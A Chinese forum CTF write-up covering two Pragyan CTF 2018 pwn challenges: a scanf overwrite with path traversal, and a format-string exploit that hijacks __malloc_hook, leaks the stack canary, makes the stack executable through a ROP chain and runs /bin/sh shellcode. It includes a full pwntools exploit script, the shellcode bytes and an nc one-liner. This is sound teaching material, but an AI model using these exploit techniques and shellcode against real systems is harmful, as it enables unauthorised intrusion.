首页
论坛
课程
招聘
[原创]ctf pwn中的malloc_hook利用及pragyan ctf 2018 pwn writeup
2018-3-7 01:50 6483

[原创]ctf pwn中的malloc_hook利用及pragyan ctf 2018 pwn writeup

2018-3-7 01:50
6483

Old school hack (200pts)

题目

题目描述

Chris is trying out to be a police officer and the applications have just been sent into the police academy.
He is really eager to find out about his competition. 
Help it him back the system and view the other applicant’s applications.

The service is running at 128.199.224.175:13000

Hint! Path Traversals are always a classic.

题目链接:

https://github.com/eternalsakura/ctf_pwn/blob/master/pragyan2018/police_academy

前置知识

scanf变量覆盖

程序举例

#include <stdio.h>
int main(void){
    char a,b;
    printf("input character a,b\n");
    scanf("%s",&a);//bug
    printf("%c%c\n",a,b);
    return 0;
}

输出结果
AA
简单调试
编译程序

gcc test.c -g -o test
sakura@ubuntu:~$ gdb test
Loaded 112 commands. Type pwndbg [filter] for a list.
Reading symbols from test...done.
pwndbg> b 5
Breakpoint 1 at 0x4005ff: file test.c, line 5.
pwndbg> r
Starting program: /home/sakura/test 
input character a,b
...
pwndbg> n
AAAA
6        printf("%c%c\n",a,b);
...
pwndbg> p a
$1 = 65 'A'
pwndbg> p b
$2 = 65 'A'
pwndbg> c
Continuing.
AA

可以看出函数里本来应该只对a赋值。

scanf("%s",&a)

但是b的值也被覆盖为A了,这里其实就可以栈溢出,但是在本题中只需要覆盖栈内变量即可。

分析

checksec

sakura@ubuntu:~$ checksec police_academy 
[*] '/home/sakura/police_academy'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
sakura@ubuntu:~$

64位程序,canary,NX保护

输入密码

密码被硬编码进程序,即kaiokenx20

 if ( strncmp(&s1, "kaiokenx20", 10uLL) )

栈溢出

文件读取函数

 __int64 v8; // [rsp+20h] [rbp-30h]
 ...
 v6 = print_record((const char *)&v8);

 signed __int64 __fastcall print_record(const char *a1)
{
  FILE *stream; // [rsp+18h] [rbp-338h]
  char ptr; // [rsp+20h] [rbp-330h]
  unsigned __int64 v4; // [rsp+348h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned int)strlen(a1) != 36 )         // 文件名要等于36字节
    return 0xFFFFFFFFLL;
  stream = fopen(a1, "r");
  if ( !stream )
    return 0xFFFFFFFFLL;
  printf("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "r");
  puts("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n");
  fread(&ptr, 0x30CuLL, 1uLL, stream);
  printf("%s", &ptr);
  printf("\n\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
  printf("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
  fclose(stream);
  return 0LL;
}

这个函数的作用就是根据文件名读取文件,这个文件名本来是根据我们的选项(1-7)来决定的,比如如果是7,则v8 = 'txt.galf'。
但是可以看出,如果我们输入的数在1-7之外,那么就不会对v8赋值,如果我们通过前面的scanf直接把v8的值覆盖成我们想要读取的文件名(flag.txt),那么就可以读取到flag了。

__isoc99_scanf("%d", &v5);
  switch ( v5 )
  {
    case 1:
      v8 = 3474298655558951218LL;
      v9 = 3847821640488804656LL;
      v10 = 7149858464072819505LL;
      v11 = 7221017546570621237LL;
      v12 = 1952539694;
      v13 = 0;
      break;
    case 2:
      v8 = 7147605565415700579LL;
      v9 = 3631416849257871156LL;
      v10 = 4121973650644951905LL;
      v3 = (int *)4049125503535429937LL;
      v11 = 4049125503535429937LL;
      v12 = 1952539694;
      v13 = 0;
      break;
    case 3:
      v8 = 0x3233613163393238LL;
      v9 = 3702634411308757558LL;
      v3 = (int *)7076898166606619443LL;
      v10 = 7076898166606619443LL;
      v11 = 7219893850032333154LL;
      v12 = 1952539694;
      v13 = 0;
      break;
    case 4:
      v8 = 7221577417837786465LL;
      v3 = (int *)7363447393777498210LL;
      v9 = 7363447393777498210LL;
      v10 = 7017788206782754871LL;
      v11 = '06491899';
      v12 = 'tad.';
      v13 = 0;
      break;
    case 5:
      v8 = 'cb7eb354';
      v9 = 7147275711155430960LL;
      v10 = 7076672766706148656LL;
      v3 = (int *)3486685753473249589LL;
      v11 = 3486685753473249589LL;
      v12 = 1952539694;
      v13 = 0;
      break;
    case 6:
      v8 = 0331433146246314630463LL;
      v9 = 'b5d57a29';
      v3 = (int *)'a7e6a65d';
      v10 = 'a7e6a65d';
      v11 = 'c721627f';
      v12 = 'tad.';
      v13 = 0;
      break;
    case 7:
      v8 = 'txt.galf';
      LOBYTE(v9) = 0;
      puts("You don't have the required privileges to view the flag, yet.");
      exit(0);
      return result;
    default:
      break;
  }

长度校验

if ( (unsigned int)strlen(a1) != 36 ) 
    return 0xFFFFFFFFLL;

因为我们提供的v8的文件名要等于36字节,但是flag.txt没有那么长,所以这里,我们可以用./././..来填充。

利用

利用思路

首先用scanf覆盖是s1的值为密码(kaiokenx20)+padding,覆盖v8的值为././././././././././././././flag.txt,然后读取flag。

确定填充值

char s1; // [rsp+10h] [rbp-40h]
__int64 v8; // [rsp+20h] [rbp-30h]
...
...
...
 __isoc99_scanf("%s", &s1);
 ...
 ...
 ...
-0000000000000040 s1              db ?
-000000000000003F                 db ? ; undefined
-000000000000003E                 db ? ; undefined
-000000000000003D                 db ? ; undefined
-000000000000003C                 db ? ; undefined
-000000000000003B                 db ? ; undefined
-000000000000003A                 db ? ; undefined
-0000000000000039                 db ? ; undefined
-0000000000000038                 db ? ; undefined
-0000000000000037                 db ? ; undefined
-0000000000000036                 db ? ; undefined
-0000000000000035                 db ? ; undefined
-0000000000000034                 db ? ; undefined
-0000000000000033                 db ? ; undefined
-0000000000000032                 db ? ; undefined
-0000000000000031                 db ? ; undefined
-0000000000000030 var_30          dq ?
-0000000000000028 anonymous_0     dq ?
-0000000000000020 anonymous_1     dq ?
-0000000000000018 anonymous_2     dq ?
-0000000000000010 anonymous_3     dd ?
-000000000000000C anonymous_4     db ?
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

s1需填充0x10即16个字节,v8填充36个字节。

exp

python -c 'print "kaiokenx20\x00"+"\x00"*5+"././././././././././././././flag.txt\x00\n"+"8"'|nc 128.199.224.175 13000
sakura@ubuntu:~$ python -c 'print "kaiokenx20\x00"+"\x00"*5+"././././././././././././././flag.txt\x00\n"+"8"'|nc 128.199.224.175 13000

Enter password to authentic yourself : Enter case number: 

     1) Application_1
     2) Application_2
     3) Application_3
     4) Application_4
     5) Application_5
     6) Application_6
     7) Flag

     Enter choice :- 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

The flag is :- pctf{bUff3r-0v3Rfl0wS`4r3.alw4ys-4_cl4SsiC}
r�

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Unbreakable encryption (350pts)

题目

题目描述

Your friend, Liara, has encrypted all her life secrets, using the one of the best encryptions available in the world, the AES. She has challenged you that no matter what, you can never read her life secrets.

The encryption service is running at :- 128.199.224.175:33000
The binary file is named aes_enc.

Her encrypted life secrets are as follows :-

0000 - 40 87 68 1a b0 23 73 c4 61 44 b4 c0 21 f1 63 0b @.h..#s.aD..!.c.
0010 - 73 e9 0d 38 e4 bd d8 33 41 64 2c 43 85 d4 54 0e s..8...3Ad,C..T.
0020 - f5 bc 8c 02 db ee 0d e8 d6 29 81 3a 5f cb 63 bd .........).:_.c.


Note: Since some teams were having issues with the buffering of the I/O streams when executing the binary remotely, we have updated the binary file, to flush the output streams properly. The modified binary is named aes_enc_unbf, and will be running on 128.199.224.175:33100

题目链接

https://github.com/eternalsakura/ctf_pwn/tree/master/pragyan2018/unbreakable_encryption

前置知识

格式化字符串漏洞原理

pwn题中,有形如下述代码的形式就是格式化字符串漏洞

char str[100];
scanf("%s",str);
printf(str)

也许使用者的目的只是直接输出字符串,但是这段字符串来源于可控的输入,就造成了漏洞。
示例程序如下

#include <stdio.h>
int main(){
  char str[100];
  scanf("%s",str);
  printf(str)
}

编译:gcc -m32 -o str str.c
输入:%2$x


原因是如果直接printf(“占位符”)这种形式,就会把栈上的偏移当做数据输出出来。通过构造格式化串,就可以实现任意地址读和任意地址写。

任意地址读

事实上,我们在scanf(或者read)来输入字符串的时候,字符串就已经在栈中了,如图,可以看出偏移为6。如果我们构造出addr(4字节)%6$s,就能读取这个地址的值了。

我们尝试一下,输入AAAA%6$s,当然不可能真的读到地址为41414141的内存值,不过从下图我框起来的内容就知道,如果我们输入一个合法的值,就可以读了。

任意地址写

和上面的任意地址读是同理的,只不过利用了格式化字符串的一个比较冷门的特性,%n。
这个占位符可以把它前面输出的字符的数量,写入指定的地址。
比如

printf("abc%n", &val);

val的值就被改变为3。

64位格式化字符串

下述示例来源于RE4B。

#include <stdio.h>
int main() {
        printf("a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d
", 1, 2, 3, 4, 5, 6, 7, 8);
        return 0;
};

linux上优先使用RDI,RSI,RDX,RCX,R8,R9寄存器传递前6个参数,然后利用栈传递其余参数。
汇编代码如下

.LC0:
    .string "a=%d; b=%d; c=%d; d=%d; e=%d; f=%d; g=%d; h=%d
"

main:
    sub     rsp, 40

    mov     r9d, 5 #第6个参数
    mov     r8d, 4 #第5个参数
    mov     ecx, 3 #第4参数
    mov     edx, 2 #第3个参数
    mov     esi, 1 #第2个参数
    mov     edi, OFFSET FLAT:.LC0 #第1个参数
    xor     eax, eax ; number of vector registers passed
    mov     DWORD PTR [rsp+16], 8 #第9个参数
    mov     DWORD PTR [rsp+8], 7 #第8个参数
    mov     DWORD PTR [rsp], 6 #第7个参数
    call    printf

    ; return 0

    xor     eax, eax
    add     rsp, 40
    ret

所以有

(gdb) info registers
rax     0x0     0
rbx     0x0     0
rcx     0x3     3
rdx     0x2     2
rsi     0x1     1
rdi     0x400628 4195880
rbp     0x7fffffffdf60 0x7fffffffdf60
rsp     0x7fffffffdf38 0x7fffffffdf38
r8      0x4     4
r9      0x5     5
r10     0x7fffffffdce0 140737488346336
r11     0x7ffff7a65f60 140737348263776
r12     0x400440 4195392
r13     0x7fffffffe040 140737488347200
r14     0x0     0
r15     0x0     0
rip     0x7ffff7a65f60 0x7ffff7a65f60 <__printf>
...
(gdb) x/10g $rsp
0x7fffffffdf38: 0x0000000000400576 -> 返回地址 0x0000000000000006
0x7fffffffdf48: 0x0000000000000007 0x00007fff00000008
0x7fffffffdf58: 0x0000000000000000 0x0000000000000000
0x7fffffffdf68: 0x00007ffff7a33de5 0x0000000000000000
0x7fffffffdf78: 0x00007fffffffe048 0x0000000100000000

所以在64位格式化字符串漏洞利用时,要注意如何计算偏移,因为即使没有占位符,我们依然是按照这个传参规则来读取变量的。

pwntools

fmtstr

http://pwntools.readthedocs.io/en/stable/fmtstr.html
上面说过我们要利用格式化串漏洞就要得到格式化串的偏移,pwntools有自动化代码可以得到这个偏移。

# -*- coding: utf-8 -*-

from pwn import *

def exec_fmt(payload):
    p = process(program)
    p.sendline(payload)
    info = p.recv()
    p.close()
    return info

autofmt = FmtStr(exec_fmt)
print autofmt.offset

fmtstr_payload

生成任意地址写的payload的函数.

fmtstr_payload(offset, {key: value})

fmtstr_payload有两个参数

  • 第一个参数是int,用于表示取参数的偏移个数
  • 第二个参数是字典,字典的意义是往key的地址,写入value的值

分析

checksec

sakura@ubuntu:~/unbreakable_encryption$ checksec aes_enc_unbf 
[*] '/home/sakura/unbreakable_encryption/aes_enc_unbf'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

静态链接

sakura@ubuntu:~/unbreakable_encryption$ ldd aes_enc_unbf 
    not a dynamic executable

程序功能

sakura@ubuntu:~/unbreakable_encryption$ ./aes_enc_unbf 

Enter message :- 
sakura

Your message is :- 
sakura


 The encrypted message for the given plaintext is :- 
0000 - b2 c4 08 6e 77 66 cb 59-b3 6a 4a 8b ed 35 98 05   ...nwf.Y.jJ..5..

Decrypted text is:
sakura

读取输入并打印,并将其传递给encrypt,加载aes文件,加密消息并将其输出到屏幕。
然后它调用decrypt解密,并将明文输出到屏幕上。

栈溢出

  char v5; // [esp+Ch] [ebp-8Ch]
  char v6; // [esp+8Bh] [ebp-Dh]
  unsigned int v7; // [esp+8Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  putchar(10);
  puts("Enter message :- ");
  fflush(stdout);
  _isoc99_scanf("%s", (unsigned int)&v5); //bug

scanf处存在栈溢出,上一个题的前置知识已经说过了。
不过这个题因为有canary,所以不能用来直接getshell,我们要想其他方法。

sakura@ubuntu:~/unbreakable_encryption$ ./aes_enc_unbf 

Enter message :- 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Your message is :- 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1A


 The encrypted message for the given plaintext is :- 
0000 - d5 55 d2 b4 58 fb d3 04-16 cd 58 fb 63 0f ea 16   .U..X.....X.c...
0010 - 9f ce d0 d3 0a 9a 15 c8-ab aa 76 69 00 18 78 1b   ..........vi..x.
0020 - e6 1d c0 01 bf 44 f1 e5-dc 22 ba 2a ae d2 e3 f4   .....D...".*....
0030 - 39 7b fb f1 fb 99 79 b7-b9 16 f7 37 3d a1 4c 38   9{....y....7=.L8
0040 - 16 75 9d b2 23 60 0a a2-91 12 7c 22 e2 8e 90 83   .u..#`....|"....
0050 - b1 60 46 2d 7b e3 18 12-65 62 85 db e5 95 fe 1f   .`F-{...eb......
0060 - b2 11 7e 38 43 05 4f d2-28 84 5a c7 39 2c 06 41   ..~8C.O.(.Z.9,.A
0070 - f1 ee 61 c6 1c b6 e7 52-b3 fd 8c 30 16 bb 6c 38   ..a....R...0..l8

Decrypted text is:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1A

*** stack smashing detected ***: ./aes_enc_unbf terminated
Aborted (core dumped)

格式化字符串漏洞

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char v5; // [esp+Ch] [ebp-8Ch]
  char v6; // [esp+8Bh] [ebp-Dh]
  unsigned int v7; // [esp+8Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  putchar(10);
  puts("Enter message :- ");
  fflush(stdout);
  _isoc99_scanf("%s", (unsigned int)&v5);
  v6 = 0;
  fflush(stdout);
  puts("\nYour message is :- ");
  printf(&v5);//bug

利用

利用思路

因为静态链接,所以不能改写GOT表,考虑使用malloc_hook来解题,可以参考0ctf的easiestprintf。
其次因为有canary,所以要先leak出canary。
所以总的思路就出来了:

  1. 通过格式化字符串的任意地址读写leak出canary的值,并劫持malloc_hook,使其指向main函数。
    这样当执行malloc的时候,就会跳回main函数,然后重新执行程序。
  2. 然后我们修改_stack_prot的值为0x7,之后再次跳回main函数。
  3. 最后将malloc_hook的值还原为0,不再跳回main函数,然后因为之前已经leak出了canary的值,就可以触发栈溢出,将返回地址设置为_dl_make_stack_executable,并传入参数_libc_stack_end,因为之前_stack_prot的值已经被设置为0x7,这个函数将会使得栈可执行,取消NX保护,最后跳回我们预先写好的shellcode就可以getshell了。

准备shellcode

0x1000:    xor        eax, eax
0x1002:    push        eax
0x1003:    push        0x68732f2f
0x1008:    push        0x6e69622f
0x100d:    push        eax
0x100e:    push        eax
0x100f:    pop        ecx
0x1010:    pop        edx
0x1011:    mov        ebx, esp
0x1013:    push        0x5b
0x1015:    pop        eax
0x1016:    xor        al, 0x50
0x1018:    int        0x80
0x101a:
\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x50\x50\x59\x5A\x89\xE3\x6A\x5B\x58\x34\x50\xCD\x80

准备参数

  • dl_make_stack_executable
unsigned int __usercall dl_make_stack_executable@<eax>(_DWORD *a1@<eax>)
{
  _DWORD *v1; // ebx
  unsigned int result; // eax

  if ( *a1 != _libc_stack_end )
    return 1;
  v1 = a1;
  result = mprotect(*a1 & -dl_pagesize, dl_pagesize, _stack_prot);
  if ( result )
    return __readgsdword(0xFFFFFFE8);
  *v1 = 0;
  dl_stack_flags |= 1u;
  return result;
}

参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b,这样的话stack就是可执行的了,然后就可以执行shellcode了。
直接search。

_libc_stack_end = 0x0822ECE8
__stack_prot = 0x0822EC98
_dl_make_stack_executable = 0x081715D0
  • malloc_hook

  • main

  • pop_eax

sakura@ubuntu:~/unbreakable_encryption$ ROPgadget --binary aes_enc_unbf --only "pop|ret"|grep eax
0x0813ed14 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0817b0ea : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0804c906 : pop eax ; ret
0x0818f350 : pop eax ; ret 0xffe4
0x0817b0e9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

pop_eax = 0x0804c906

  • jmp_esp
sakura@ubuntu:~/unbreakable_encryption$ ROPgadget --binary aes_enc_unbf --only "jmp"|grep esp
0x08174bec : jmp esp

jmp_esp = 0x08174bec

确定偏移

要确定偏移需要多次调试,没有什么好的方法。
这里我也是把已经调试好的偏移直接带入跟了一遍而已。
要在pwntools里用gdb调试,首先要先设置好断点文件,然后gdb.attach(r,open(filename))
得到断点文件的方法如下。

gef➤  b *0x8048d73
Breakpoint 1 at 0x8048d73
gef➤  save breakpoints filename

然后执行程序

root@ubuntu:/home/sakura/unbreakable_encryption# python exp.py 1
[+] Starting local process './aes_enc_unbf': pid 25217
debug?
[*] X: 0x804
[*] Y: 0x84dc
[*] running in new terminal: /usr/bin/gdb -q  "/home/sakura/unbreakable_encryption/aes_enc_unbf" 25217 -x "/tmp/pwndl_JQG.gdb"
[+] Waiting for debugger: Done
Breakpoint 1 at 0x8048d73
gef➤  c
Continuing.
gef➤  si
───────────────────────────────────────────────────────────────[ code:i386 ]────
    0x81115cb <__correctly_grouped_prefixmb+715> jmp    0x8111578 <__correctly_grouped_prefixmb+632>
    0x81115cd                  xchg   ax, ax
    0x81115cf                  nop    
 →  0x81115d0 <printf+0>       sub    esp, 0xc
    0x81115d3 <printf+3>       lea    eax, [esp+0x14]
    0x81115d7 <printf+7>       sub    esp, 0x4
    0x81115da <printf+10>      push   eax
    0x81115db <printf+11>      push   DWORD PTR [esp+0x18]
    0x81115df <printf+15>      push   DWORD PTR ds:0x8230538


printf执行完后,malloc_hook等于main函数的首地址。

gef➤  x /gx 0x08230598
0x8230598 <__malloc_hook>:    0x0000000008048ce0

跳回main函数,为了确定跳回,先在main下个断点

gef➤  b *0x08048CE0
gef➤  c


继续执行,断在printf

gef➤  c
gef➤  si # 我这里si的目的是步入printf,不过其实没什么用,不步入的话esp就不指向返回地址,而是格式化串本身。


注意hhn代表只覆盖单字节。
这次printf结束之后,__stack_prot的值被修改为7。

gef➤  x/gx 0x0822EC98
0x822ec98 <__stack_prot>:    0x0000000000000007

继续c还会再跳回main函数,因为malloc_hook还指向main函数。

gef➤  c
Continuing.
...
 →  0x8048ce0 <main+0>         lea    ecx, [esp+0x4]
    0x8048ce4 <main+4>         and    esp, 0xfffffff0
    0x8048ce7 <main+7>         push   DWORD PTR [ecx-0x4]
    0x8048cea <main+10>        push   ebp
    0x8048ceb <main+11>        mov    ebp, esp
    0x8048ced <main+13>        push   ecx

继续c,执行到printf,这次我不再步入printf里,所以esp就指向格式化串。

gef➤  stack 60
0xffffcfa0│+0x00: 0xffffcfbc 格式化字符串
0xffffcfa4│+0x04: 0xffffcfbc offset 1
0xffffcfa8│+0x08: 0x00000000 offset 2
0xffffcfac│+0x0c: 0xffffffff offset 3
0xffffcfb0│+0x10: 0x00000000 offset 4
0xffffcfb4│+0x14: 0x00000000 offset 5
0xffffcfb8│+0x18: 0x0000000a offset 6
0xffffcfbc│+0x1c: 0x08230598 offset 7
0xffffcfc0│+0x20: 0x08230599 offset 8
0xffffcfc4│+0x24: 0x0823059a offset 9
0xffffcfc8│+0x28: 0x0823059b offset 10
0xffffcfcc│+0x2c: "%240u%7$hhn%256u%8$hhn%512u%9$hhn%768u%10$hhnAAAAA[...]"
0xffffcfd0│+0x30: "u%7$hhn%256u%8$hhn%512u%9$hhn%768u%10$hhnAAAAAAAAA[...]"
0xffffcfd4│+0x34: "hhn%256u%8$hhn%512u%9$hhn%768u%10$hhnAAAAAAAAAAAAA[...]"
0xffffcfd8│+0x38: "256u%8$hhn%512u%9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAA[...]"
0xffffcfdc│+0x3c: "%8$hhn%512u%9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcfe0│+0x40: "hn%512u%9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcfe4│+0x44: "12u%9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcfe8│+0x48: "9$hhn%768u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcfec│+0x4c: "n%768u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcff0│+0x50: "8u%10$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcff4│+0x54: "0$hhnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcff8│+0x58: "nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffcffc│+0x5c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd000│+0x60: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd004│+0x64: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd008│+0x68: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0xffffd00c│+0x6c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd010│+0x70: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd014│+0x74: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd018│+0x78: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd01c│+0x7c: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd020│+0x80: "AAAAAAAAAAAAAAAAAAAAAAAAAAA"
0xffffd024│+0x84: "AAAAAAAAAAAAAAAAAAAAAAA"
0xffffd028│+0x88: "AAAAAAAAAAAAAAAAAAA"
0xffffd02c│+0x8c: "AAAAAAAAAAAAAAA"
0xffffd030│+0x90: "AAAAAAAAAAA"
0xffffd034│+0x94: "AAAAAAA"
0xffffd038│+0x98: 0x00414141 ("AAA"?)
0xffffd03c│+0x9c: 0x12cda400 ## canary ##
0xffffd040│+0xa0: 0x42424242
0xffffd044│+0xa4: 0xffffd04c  →  0x0822ece8  →  0xffffd6bc  →  0x00000000
0xffffd048│+0xa8: 0x0804c906  →  <EVP_CIPHER_CTX_key_length+6> pop eax     ← $ebp
0xffffd04c│+0xac: 0x0822ece8  →  0xffffd6bc  →  0x00000000
0xffffd050│+0xb0: 0x081715d0  →  <_dl_make_stack_executable+0> push esi
0xffffd054│+0xb4: 0x08174bec  →  <____strtof_l_internal+7900> jmp esp
0xffffd058│+0xb8: 0x6850c031 ## shellcode ##
0xffffd05c│+0xbc: 0x68732f2f
0xffffd060│+0xc0: 0x69622f68
0xffffd064│+0xc4: 0x5950506e
0xffffd068│+0xc8: 0x6ae3895a
0xffffd06c│+0xcc: 0x5034585b
0xffffd070│+0xd0: 0x000080cd
0xffffd074│+0xd4: 0x080481c8  →  <_init+0> push ebx

printf执行完成后,malloc_hook已经恢复为0,不再会跳回main了,另外可以看出我们的leak出的canary和shellcode已经写入了栈里,实现了栈溢出。

gef➤  x /gx 0x08230598
0x8230598 <__malloc_hook>:    0x0000000000000000

当main函数执行结束,要ret的时候,就返回到我们布置好的利用链里。

0xffffd048│+0x00: 0x0804c906  →  <EVP_CIPHER_CTX_key_length+6> pop eax     ← $esp
0xffffd04c│+0x04: 0x0822ece8  →  0xffffd6bc  →  0x00000000     ← $ecx
0xffffd050│+0x08: 0x081715d0  →  <_dl_make_stack_executable+0> push esi
0xffffd054│+0x0c: 0x08174bec  →  <____strtof_l_internal+7900> jmp esp
0xffffd058│+0x10: 0x6850c031
0xffffd05c│+0x14: 0x68732f2f
0xffffd060│+0x18: 0x69622f68

$eax   : 0x0822ece8  →  0xffffd6bc  →  0x00000000


栈可执行打开,并跳入shellcode执行。

 → 0xffffd070                  int    0x80

getshell

from pwn import *
import time
import sys

def aes_enc_unbf(DEBUG):
    t = 0.3

    if DEBUG=="1":
        t = 0.005
        r = process("./aes_enc_unbf")
        raw_input("debug?")
    elif DEBUG=="2":
        HOST = '128.199.224.175'
        PORT = 33100
        r = remote(HOST,PORT)

    shellcode = "\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x50\x50\x59\x5A\x89\xE3\x6A\x5B\x58\x34\x50\xCD\x80"
    __malloc_hook = 0x08230598
    __stack_prot = 0x0822EC98 
    _libc_stack_end = 0x0822ECE8
    _dl_make_stack_executable = 0x081715D0
    main = 0x08048CE0
    pop_eax = 0x0804c906
    jmp_esp = 0x08174bec 

    log.info('X: %#x' % (main>>16))
    log.info('Y: %#x' % ((main&0xffff)-(main>>16)))
    # gdb.attach(r,open("a"))
    fmt = ""
    fmt += p32(__stack_prot)
    fmt += p32(__malloc_hook+2)
    fmt += p32(__malloc_hook)
    fmt += "%7$n"
    fmt += "%" + str((main>>16) - 12) + "x" + "%8$hn"
    fmt += "%"+ str((main&0xffff)-((main>>16))) + "x" + "%9$hn" # *__malloc_hook = main
    fmt += "XXXX|%39$p|%41$p|YYYY"
    log.info('%s' % fmt)
    r.recvuntil("Enter message :- ")
    r.sendline(fmt) 
    r.recvuntil("XXXX|")
    res = r.recvuntil("YYYY")
    address = res.split("|")
    canary = int(address[0],16)
    stack = int(address[1],16)
    log.info('canary: %#x' % canary)
    log.info('stack: %#x' % stack)

    fmt = ""
    fmt += p32(__stack_prot)
    fmt += "%259u"+"%7$hhn" # 0x822ec98 (__stack_prot) <- 0x7
    log.info('%s' % fmt)
    r.recvuntil("Enter message :- ")
    r.sendline(fmt)


    fmt = ""
    fmt += p32(__malloc_hook)
    fmt += p32(__malloc_hook+1)
    fmt += p32(__malloc_hook+2)
    fmt += p32(__malloc_hook+3)
    fmt += "%"+str(0xff-15)+"u"+"%7$hhn"
    fmt += "%"+str(0x100)+"u"+"%8$hhn"
    fmt += "%"+str(0x200)+"u"+"%9$hhn"
    fmt += "%"+str(0x300)+"u"+"%10$hhn" # *__malloc_hook = 0
    fmt += "A"*0x43
    fmt += p32(canary)
    fmt += "B"*4
    fmt += p32(stack-0x5b8+4)
    fmt += p32(pop_eax)
    fmt += p32(_libc_stack_end)
    fmt += p32(_dl_make_stack_executable)
    fmt += p32(jmp_esp)
    fmt += shellcode
      log.info('%s' % fmt)
    r.recvuntil("Enter message :- ")
    r.sendline(fmt)
    r.interactive()

aes_enc_unbf(sys.argv[1])
sakura@ubuntu:~/unbreakable_encryption$ vim exp.py 
sakura@ubuntu:~/unbreakable_encryption$ python exp.py 2
[+] Opening connection to 128.199.224.175 on port 33100: Done
[*] X: 0x804
[*] Y: 0x84dc
[*] \x98�\x9a\x05\x98\x05%7$n%2040x%8$hn%34012x%9$hnXXXX|%39$p|%41$p|YYYY
